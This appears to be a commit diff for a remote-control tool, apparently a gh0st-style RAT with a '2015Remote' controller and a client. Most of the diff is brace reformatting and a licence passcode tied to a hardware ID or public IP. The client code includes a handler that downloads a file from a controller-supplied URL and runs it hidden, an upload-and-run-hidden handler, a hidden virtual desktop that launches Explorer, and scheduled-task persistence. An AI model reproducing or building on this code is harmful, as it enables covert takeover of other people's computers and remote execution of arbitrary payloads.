Feat&Improve: Support gen pass code binding with domain

client/Common.cpp

@@ -51,16 +51,17 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
 #else
 #pragma comment(lib, "PrivateDesktop_Libx64.lib")
 #endif
-void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac);
 #else
-void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac)
-{
-    return ClientObject->RunEventLoop(TRUE);
-}
+#ifdef _DEBUG
+#pragma comment(lib, "PrivateDesktop_Libd.lib")
+#else
+#pragma comment(lib, "PrivateDesktop_Lib.lib")
+#endif
 #endif
 
 DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac)
 {
+    void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac);
     IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc);
     if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
         CScreenManager	m(ClientObject, 32, (void*)1);

client/IOCPClient.h

@@ -110,7 +110,10 @@ public:
     virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
 
     // Tip: 在派生类实现该函数以便支持断线重连
-    virtual BOOL OnReconnect() { return FALSE;  }
+    virtual BOOL OnReconnect()
+    {
+        return FALSE;
+    }
 
     static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
     {
@@ -133,7 +136,8 @@ public:
         m_Manager->OnReceive(szBuffer, ulLength);
         return TRUE;
     }
-    static int ReconnectProcess(void* user) {
+    static int ReconnectProcess(void* user)
+    {
         IOCPManager* m_Manager = (IOCPManager*)user;
         if (nullptr == m_Manager) {
             return FALSE;
@@ -196,7 +200,8 @@ public:
     {
         return m_bIsRunning;
     }
-    VOID StopRunning() {
+    VOID StopRunning()
+    {
         m_ReconnectFunc = NULL;
         m_bIsRunning = FALSE;
     }

client/KernelManager.cpp

@@ -408,18 +408,21 @@ bool EnableShutdownPrivilege()
     return true;
 }
 
-class CDownloadCallback : public IBindStatusCallback {
+class CDownloadCallback : public IBindStatusCallback
+{
 private:
     DWORD m_startTime;
     DWORD m_timeout;  // 毫秒
 
 public:
-    CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) {
+    CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs)
+    {
         m_startTime = GetTickCount();
     }
 
     HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax,
-        ULONG ulStatusCode, LPCWSTR szStatusText) override {
+                                         ULONG ulStatusCode, LPCWSTR szStatusText) override
+    {
         // 超时检查
         if (GetTickCount() - m_startTime > m_timeout) {
             return E_ABORT;  // 取消下载
@@ -428,18 +431,46 @@ public:
     }
 
     // 其他接口方法返回默认值
-    HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; }
-    HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; }
-    HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; }
-    HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; }
-    HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; }
-    HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; }
-    HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; }
+    HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override
+    {
+        return S_OK;
+    }
+    HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override
+    {
+        return S_OK;
+    }
+    HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override
+    {
+        return S_OK;
+    }
+    HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override
+    {
+        return S_OK;
+    }
+    HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override
+    {
+        return S_OK;
+    }
+    HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override
+    {
+        return S_OK;
+    }
+    HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override
+    {
+        return S_OK;
+    }
 
     // IUnknown
-    ULONG STDMETHODCALLTYPE AddRef() override { return 1; }
-    ULONG STDMETHODCALLTYPE Release() override { return 1; }
-    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
+    ULONG STDMETHODCALLTYPE AddRef() override
+    {
+        return 1;
+    }
+    ULONG STDMETHODCALLTYPE Release() override
+    {
+        return 1;
+    }
+    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override
+    {
         if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) {
             *ppv = this;
             return S_OK;
@@ -448,7 +479,8 @@ public:
     }
 };
 
-void DownExecute(const std::string &strUrl, CManager *This) {
+void DownExecute(const std::string &strUrl, CManager *This)
+{
     // 临时路径
     char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
     GetTempPathA(MAX_PATH, szTempPath);
@@ -458,17 +490,14 @@ void DownExecute(const std::string &strUrl, CManager *This) {
     // 下载并运行
     const int timeoutMs = 30 * 1000;
     CDownloadCallback callback(timeoutMs);
-    if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback))
-    {
+    if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) {
         ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
         Mprintf("Download Exec Success: %s\n", strUrl.c_str());
         char buf[100];
         sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID());
         ClientMsg msg("执行成功", buf);
         This->SendData(LPBYTE(&msg), sizeof(msg));
-    }
-    else
-    {
+    } else {
         Mprintf("Download Exec Failed: %s\n", strUrl.c_str());
         char buf[100];
         sprintf_s(buf, "Client %llu download exec failed", This->GetClientID());
@@ -477,6 +506,32 @@ void DownExecute(const std::string &strUrl, CManager *This) {
     }
 }
 
+#include "common/location.h"
+std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
+{
+    config* m_iniFile = nullptr;
+#ifdef _DEBUG
+    m_iniFile = pwdHash == masterHash ? new config : new iniFile;
+#else
+    m_iniFile = new iniFile;
+#endif
+    int version = m_iniFile->GetInt("settings", "BindType", 0);
+    std::string master = m_iniFile->GetStr("settings", "master");
+    SAFE_DELETE(m_iniFile);
+    switch (version) {
+    case 0:
+        return getHardwareID();
+    case 1: {
+        if (!master.empty()) {
+            return master;
+        }
+        IPConverter cvt;
+        return cvt.getPublicIP();
+    }
+    }
+    return "";
+}
+
 VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 {
     bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -489,21 +544,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     std::string publicIP = m_ClientObject->GetClientIP();
 
     switch (szBuffer[0]) {
-    case CMD_SET_GROUP:{
+    case CMD_SET_GROUP: {
         std::string group = std::string((char*)szBuffer + 1);
         iniFile cfg(CLIENT_PATH);
         cfg.SetStr("settings", "group_name", group);
         break;
     }
 
-    case COMMAND_DOWN_EXEC:
-    {
+    case COMMAND_DOWN_EXEC: {
         std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
         break;
     }
 
-    case COMMAND_UPLOAD_EXEC:
-    {
+    case COMMAND_UPLOAD_EXEC: {
         if (ulLength < 5) break;
 
         DWORD dwFileSize = *(DWORD*)(szBuffer + 1);
@@ -516,8 +569,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086);
 
         FILE* fp = fopen(szSavePath, "wb");
-        if (fp)
-        {
+        if (fp) {
             fwrite(pFileData, 1, dwFileSize, fp);
             fclose(fp);
             ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
@@ -583,7 +635,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         std::string masterHash(skCrypt(MASTER_HASH));
         const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
         if (passCode[0] == 0) {
-            std::string devId = getDeviceID();
+            static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
+            static std::string hashedID = hashSHA256(hardwareId);
+            static std::string devId = getFixedLengthID(hashedID);
             memcpy(buf + 24, buf + 12, 8); // 消息签名
             memcpy(buf + 96, buf + 8, 4); // 时间戳
             memcpy(buf + 5, devId.c_str(), devId.length());		// 16字节

client/KernelManager.h

@@ -202,7 +202,8 @@ public:
         CloseHandle(hProcessSnap);
         return false;
     }
-    virtual uint64_t GetClientID() const override {
+    virtual uint64_t GetClientID() const override
+    {
         return m_conn->clientID;
     }
 };

client/LoginServer.cpp

@@ -277,7 +277,8 @@ std::string GetCurrentUserNameA()
 #define XXH_INLINE_ALL
 #include "server/2015Remote/xxhash.h"
 // 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
-uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
+uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
+{
     std::string s;
     for (int i = 0; i < 5; i++) {
         s += clientInfo[i] + "|";

client/Manager.h

@@ -65,7 +65,8 @@ public:
     {
         m_bReady = ready;
     }
-    virtual uint64_t GetClientID() const {
+    virtual uint64_t GetClientID() const
+    {
         return 0;
     }
 };

client/ScreenCapture.h

@@ -25,7 +25,8 @@ public:
     {
         for (size_t i = 0; i < numThreads; ++i) {
             workers.emplace_back([this] {
-                while (true) {
+                while (true)
+                {
                     std::function<void()> task;
                     {
                         std::unique_lock<std::mutex> lock(this->queueMutex);
@@ -239,7 +240,8 @@ public:
     }
 
 public:
-    virtual BOOL UsingDXGI() const {
+    virtual BOOL UsingDXGI() const
+    {
         return FALSE;
     }
     //*************************************** 图像差异算法（串行） *************************************
@@ -267,8 +269,7 @@ public:
             if (channel != 1) {
                 memcpy(p, pos2, ulCount);
                 p += ulCount;
-            }
-            else {
+            } else {
                 for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
                     LPBYTE src = (LPBYTE)pos2;
                     *p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
@@ -458,15 +459,18 @@ public:
         return offset;  // 返回缓冲区的大小
     }
 
-    virtual int GetFrameID() const {
+    virtual int GetFrameID() const
+    {
         return m_FrameID;
     }
 
-    virtual LPBYTE GetFirstBuffer() const {
+    virtual LPBYTE GetFirstBuffer() const
+    {
         return m_FirstBuffer;
     }
 
-    virtual int GetBMPSize() const {
+    virtual int GetBMPSize() const
+    {
         assert(m_BitmapInfor_Full);
         return m_BitmapInfor_Full->bmiHeader.biSizeImage;
     }

client/ScreenCapturerDXGI.h

@@ -40,7 +40,8 @@ public:
         SAFE_DELETE_ARRAY(m_RectBuffer);
     }
 
-    virtual BOOL UsingDXGI() const {
+    virtual BOOL UsingDXGI() const
+    {
         return TRUE;
     }
 

client/ScreenManager.cpp

@@ -31,32 +31,11 @@
 #pragma comment(lib, "FileUpload_Libx64.lib")
 #endif
 #else
-int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs)
-{
-    return 0;
-}
-int UninitFileUpload()
-{
-    return 0;
-}
-std::vector<std::string> GetClipboardFiles(int &result)
-{
-    return{};
-}
-bool GetCurrentFolderPath(std::string& outDir)
-{
-    return false;
-}
-int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
-                            void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac)
-{
-    finish(user);
-    return 0;
-}
-int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac)
-{
-    return 0;
-}
+#ifdef _DEBUG
+#pragma comment(lib, "FileUpload_Libd.lib")
+#else
+#pragma comment(lib, "FileUpload_Lib.lib")
+#endif
 #endif
 #endif
 
@@ -196,7 +175,8 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
 }
 
 // 检查指定桌面（hDesk）中是否存在目标进程（targetExeName）
-BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
+BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
+{
     // 切换到目标桌面
     if (!SetThreadDesktop(hDesk)) {
         return FALSE;
@@ -213,7 +193,8 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
 
         // 获取进程名
         HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
-		if (hProcess) {
+        if (hProcess)
+        {
             char exePath[MAX_PATH];
             DWORD size = MAX_PATH;
             if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
@@ -254,21 +235,18 @@ void CScreenManager::InitScreenSpy()
         if (!hDesk) {
             hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
             Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
-		}
-		else {
+        } else {
             Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
         }
         if (hDesk) {
             TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
             GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
             strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
-			if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
-			{
+            if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) {
                 if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
                     Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
                 }
-			}
-			else {
+            } else {
                 Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
             }
             SetThreadDesktop(g_hDesk = hDesk);

client/ServiceWrapper.c

@@ -17,7 +17,8 @@ static ServiceLogFunc Log = NULL;
 static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
 static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
 
-void MyLog(const char* file, int line, const char* format, ...) {
+void MyLog(const char* file, int line, const char* format, ...)
+{
     if (Log == NULL) {
         return;  // 没有设置日志回调，直接返回
     }

client/reg_startup.c

@@ -105,8 +105,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
         pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE);
         pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE);
         pSettings->lpVtbl->Release(pSettings);
-    }
-    else {
+    } else {
         Mprintf("获取配置设置失败，错误代码：%ld\n", hr);
     }
 
@@ -130,8 +129,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
         pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc);
         SysFreeString(bDesc);
         pRegInfo->lpVtbl->Release(pRegInfo);
-    }
-    else {
+    } else {
         Mprintf("获取注册信息失败，错误代码：%ld\n", hr);
     }
 
@@ -159,16 +157,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
                 }
             }
             pTrigger->lpVtbl->Release(pTrigger);
-        }
-        else {
+        } else {
             Mprintf("无法设置任务触发器，错误代码：%ld\n", hr);
             pTask->lpVtbl->Release(pTask);
             pService->lpVtbl->Release(pService);
             CoUninitialize();
             return 6;
         }
-    }
-    else {
+    } else {
         Mprintf("获取任务触发失败，错误代码：%ld\n", hr);
     }
 
@@ -188,18 +184,15 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
                 pExecAction->lpVtbl->put_Path(pExecAction, path);
                 SysFreeString(path);
                 pExecAction->lpVtbl->Release(pExecAction);
-            }
-            else {
+            } else {
                 Mprintf("QueryInterface 调用失败，错误代码：%ld\n", hr);
             }
             pAction->lpVtbl->Release(pAction);
-        }
-        else {
+        } else {
             Mprintf("创建任务动作失败，错误代码：%ld\n", hr);
         }
         pActionCollection->lpVtbl->Release(pActionCollection);
-    }
-    else {
+    } else {
         Mprintf("获取任务动作失败，错误代码：%ld\n", hr);
     }
 
@@ -211,8 +204,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
         hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
         if (FAILED(hr)) Mprintf("put_RunLevel 失败，错误代码：%ld\n", hr);
         pPrincipal->lpVtbl->Release(pPrincipal);
-    }
-    else {
+    } else {
         if (runasAdmin) Mprintf("获取任务权限失败，错误代码：%ld\n", hr);
     }
 
@@ -259,16 +251,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
                 }
             }
             pRegisteredTask->lpVtbl->Release(pRegisteredTask);
-        }
-        else {
+        } else {
             Mprintf("注册计划任务失败，错误代码：%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
         }
 
         VariantClear(&vUser);
         SysFreeString(bstrTaskName);
         pFolder->lpVtbl->Release(pFolder);
-    }
-    else {
+    } else {
         Mprintf("获取任务目录失败，错误代码：%ld\n", hr);
     }
 

common/commands.h

@@ -1140,27 +1140,33 @@ public:
 typedef struct CharMsg {
     char data[256];
     bool needFree;
-    CharMsg(const char* msg, bool free = true) {
+    CharMsg(const char* msg, bool free = true)
+    {
         memset(data, 0, sizeof(data));
         strcpy_s(data, msg);
         needFree = free;
     }
-    CharMsg(int len, bool free = true) {
+    CharMsg(int len, bool free = true)
+    {
         memset(data, 0, sizeof(data));
         needFree = free;
     }
-}CharMsg;
+} CharMsg;
 
 typedef struct ClientMsg {
     char cmd;
     char title[31];
     char text[512];
-    ClientMsg() { memset(this, 0, sizeof(*this)); }
-    ClientMsg(const char* title, const char* text) {
+    ClientMsg()
+    {
+        memset(this, 0, sizeof(*this));
+    }
+    ClientMsg(const char* title, const char* text)
+    {
         cmd = TOKEN_CLIENT_MSG;
         strcpy_s(this->title, title ? title : "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD>Ϣ");
         strcpy_s(this->text, text ? text : "");
     }
-}ClientMsg;
+} ClientMsg;
 
 #endif

common/logger.h

@@ -261,11 +261,13 @@ inline const char* getFileName(const char* path)
 
 #endif // _WIN32
 
-inline void Log(const char* message) {
+inline void Log(const char* message)
+{
     return Logger::getInstance().log(NULL, 0, "%s", message);
 }
 
-inline void Logf(const char* file, int line, const char* format, ...) {
+inline void Logf(const char* file, int line, const char* format, ...)
+{
     va_list args;
     va_start(args, format);
     char message[1024];

common/skCrypter.h

@@ -58,7 +58,8 @@ template<class _Ty>
 using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
 
 template <int _size, char _key1, char _key2, typename T>
-class skCrypter {
+class skCrypter
+{
 public:
     __forceinline constexpr skCrypter(T* data)
     {
@@ -123,7 +124,7 @@ private:
         }
     }
 
-    T _storage[_size]{};
+    T _storage[_size] {};
 };
 }
 

server/2015Remote/2015RemoteDlg.cpp

@@ -373,6 +373,24 @@ std::string GetParentDir()
     return path;
 }
 
+std::string CMy2015RemoteDlg::GetHardwareID(int v)
+{
+    int version = v == -1 ? THIS_CFG.GetInt("settings", "BindType", 0) : v;
+    switch (version) {
+    case 0:
+        return getHardwareID();
+    case 1: {
+        std::string master = THIS_CFG.GetStr("settings", "master");
+        if (!master.empty()) return master;
+        IPConverter cvt;
+        std::string id = cvt.getPublicIP();
+        return id;
+    }
+    default:
+        return "";
+    }
+}
+
 CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
 {
     auto s = GetMasterHash();
@@ -560,7 +578,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
     ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
     ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
-        END_MESSAGE_MAP()
+END_MESSAGE_MAP()
 
 
 // CMy2015RemoteDlg 消息处理程序
@@ -797,10 +815,31 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     }
     std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
     ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
+
+    bool needNotify = false;
+    NOTIFYICONDATA nidCopy = {};
+    CString infoTitle;
+    CString infoText;
+    if (m_Nid.cbSize == sizeof(NOTIFYICONDATA) && ::IsWindow(m_Nid.hWnd)) {
+        nidCopy = m_Nid; // 复制结构
+        nidCopy.cbSize = sizeof(NOTIFYICONDATA);
+        nidCopy.uFlags |= NIF_INFO;
+        infoTitle = _T("主机上线");
+        infoText = strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]");
+        needNotify = true;
+    }
     LeaveCriticalSection(&m_cs);
     Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
             std::to_string(id).c_str());
-
+    // 在临界区外填充字符串并调用 Shell_NotifyIcon（避免长时间持有 m_cs）
+    if (needNotify) {
+        CStringA titleA(infoTitle);
+        CStringA textA(infoText);
+        lstrcpynA(nidCopy.szInfoTitle, titleA.GetString(), sizeof(nidCopy.szInfoTitle));
+        lstrcpynA(nidCopy.szInfo, textA.GetString(), sizeof(nidCopy.szInfo));
+        nidCopy.uTimeout = 5000;
+        Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
+    }
     SendMasterSettings(ContextObject);
 }
 
@@ -1062,7 +1101,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
 
     UPDATE_SPLASH(15, "正在注册主控信息...");
     THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
-	THIS_CFG.SetStr("settings", "SN", getDeviceID(getHwFallback));
+    THIS_CFG.SetStr("settings", "SN", getDeviceID(GetHardwareID()));
     THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
     THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
 
@@ -1698,7 +1737,8 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
     }
 }
 
-std::string floatToString(float f) {
+std::string floatToString(float f)
+{
     char buf[32];
     snprintf(buf, sizeof(buf), "%.2f", f);
     return std::string(buf);
@@ -1840,7 +1880,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
         auto settings = "settings", pwdKey = "Password";
         // 验证口令
         CPasswordDlg dlg(this);
-        static std::string hardwareID = getHardwareID(getHwFallback);
+        static std::string hardwareID = GetHardwareID();
         static std::string hashedID = hashSHA256(hardwareID);
         static std::string deviceID = getFixedLengthID(hashedID);
         CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();
@@ -1865,6 +1905,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
         std::string fixedKey = getFixedLengthID(finalKey);
         if (hash256 != fixedKey) {
             THIS_CFG.SetStr(settings, pwdKey, "");
+            THIS_CFG.SetStr(settings, "PwdHmac", "");
             if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
                 if (!dlg.m_sPassword.IsEmpty())
                     MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING);
@@ -2279,12 +2320,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
                     std::string tip = passcode + " 校验成功: " + sn;
                     CharMsg* msg = new CharMsg(tip.c_str());
                     PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
-                }
-                else {
+                } else {
                     valid = FALSE;
                     Mprintf("%s 校验成功, HMAC 校验失败: %s\n", passcode.c_str(), sn.c_str());
                 }
+            } else {
+                Mprintf("%s 校验失败: %s\n", passcode.c_str(), sn.c_str());
             }
+        } else {
+            Mprintf("授权数据长度不足: %u\n", len);
         }
         char resp[100] = { valid };
         const char* msg = valid ? "此程序已获授权，请遵守授权协议，感谢合作" : "未获授权或消息哈希校验失败";
@@ -2301,8 +2345,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
             std::string hash = GetPwdHash(), hmac = GetHMAC(100);
             std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
                         hash, hmac).detach();
-        }
-        else {
+        } else {
             Mprintf("GetClipboardFiles failed: %d\n", result);
         }
         break;
@@ -2739,7 +2782,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
     CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
     if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
     if (dlg) {
-        if (GetRemoteWindow(dlg->GetSafeHwnd()))
+        if (GetRemoteWindow(dlg))
             return dlg->UpdateContext(ContextObject);
         Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID);
     }
@@ -2855,7 +2898,8 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
     return CDialogEx::PreTranslateMessage(pMsg);
 }
 
-LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) {
+LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
+{
     // WM_COMMAND 不计时
     if (message == WM_COMMAND) {
         return CDialogEx::WindowProc(message, wParam, lParam);
@@ -2871,8 +2915,7 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
     if (ms > m_TraceTime) {
         if (message >= WM_USER) {
             Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
-        }
-        else {
+        } else {
             Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
         }
     }
@@ -2912,7 +2955,7 @@ LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam)
 void CMy2015RemoteDlg::OnToolAuth()
 {
     CPwdGenDlg dlg;
-    std::string hardwareID = getHardwareID(getHwFallback);
+    std::string hardwareID = GetHardwareID();
     std::string hashedID = hashSHA256(hardwareID);
     std::string deviceID = getFixedLengthID(hashedID);
     dlg.m_sDeviceID = deviceID.c_str();
@@ -3448,7 +3491,7 @@ void CMy2015RemoteDlg::OnToolRequestAuth()
                                       "声明", MB_ICONQUESTION | MB_YESNO))
         return;
     CInputDialog dlg(this);
-    dlg.m_str = getDeviceID(getHwFallback).c_str();
+    dlg.m_str = getDeviceID(GetHardwareID()).c_str();
     dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):");
     if (!noPwd)
         dlg.Init2("授权口令:", pwd.c_str());
@@ -3882,7 +3925,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup()
 {
     CInputDialog dlg(this);
     dlg.Init("修改分组", "请输入分组名称:");
-    if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){
+    if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()) {
         return;
     }
     if (dlg.m_str.GetLength() >= 24) {
@@ -4048,8 +4091,7 @@ void SetClipboardText(const char* utf8Text)
                 MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
                 GlobalUnlock(hGlob);
                 SetClipboardData(CF_UNICODETEXT, hGlob);
-			}
-			else {
+            } else {
                 GlobalFree(hGlob);
             }
         }
@@ -4067,6 +4109,19 @@ CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
     return ret;
 }
 
+CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(CDialogBase *dlg)
+{
+    EnterCriticalSection(&m_cs);
+    for (auto& pair : m_RemoteWnds) {
+        if (pair.second == dlg) {
+            LeaveCriticalSection(&m_cs);
+            return pair.second;
+        }
+    }
+    LeaveCriticalSection(&m_cs);
+    return NULL;
+}
+
 void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
 {
     EnterCriticalSection(&m_cs);
@@ -4129,8 +4184,7 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
                                     Sleep(100);
                                 Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n");
                                 SAFE_DELETE_ARRAY(szBuffer);
-                            }
-                            else {
+                            } else {
                                 Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
                             }
                         }

server/2015Remote/2015RemoteDlg.h

@@ -1,5 +1,4 @@
-
-// 2015RemoteDlg.h : 头文件
+// 2015RemoteDlg.h : 头文件
 //
 
 #pragma once
@@ -107,14 +106,13 @@ enum {
 
 class CSplashDlg;  // 前向声明
 
-inline std::string getHwFallback() {
-	IPConverter cvt;
-	return cvt.getPublicIP();
-}
+#include "pwd_gen.h"
 
 // CMy2015RemoteDlg 对话框
 class CMy2015RemoteDlg : public CDialogEx
 {
+public:
+    static std::string GetHardwareID(int v=-1);
 protected:
     ComputerNoteMap m_ClientMap;
     CString GetClientMapData(ClientKey key, int typ)
@@ -253,6 +251,7 @@ public:
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
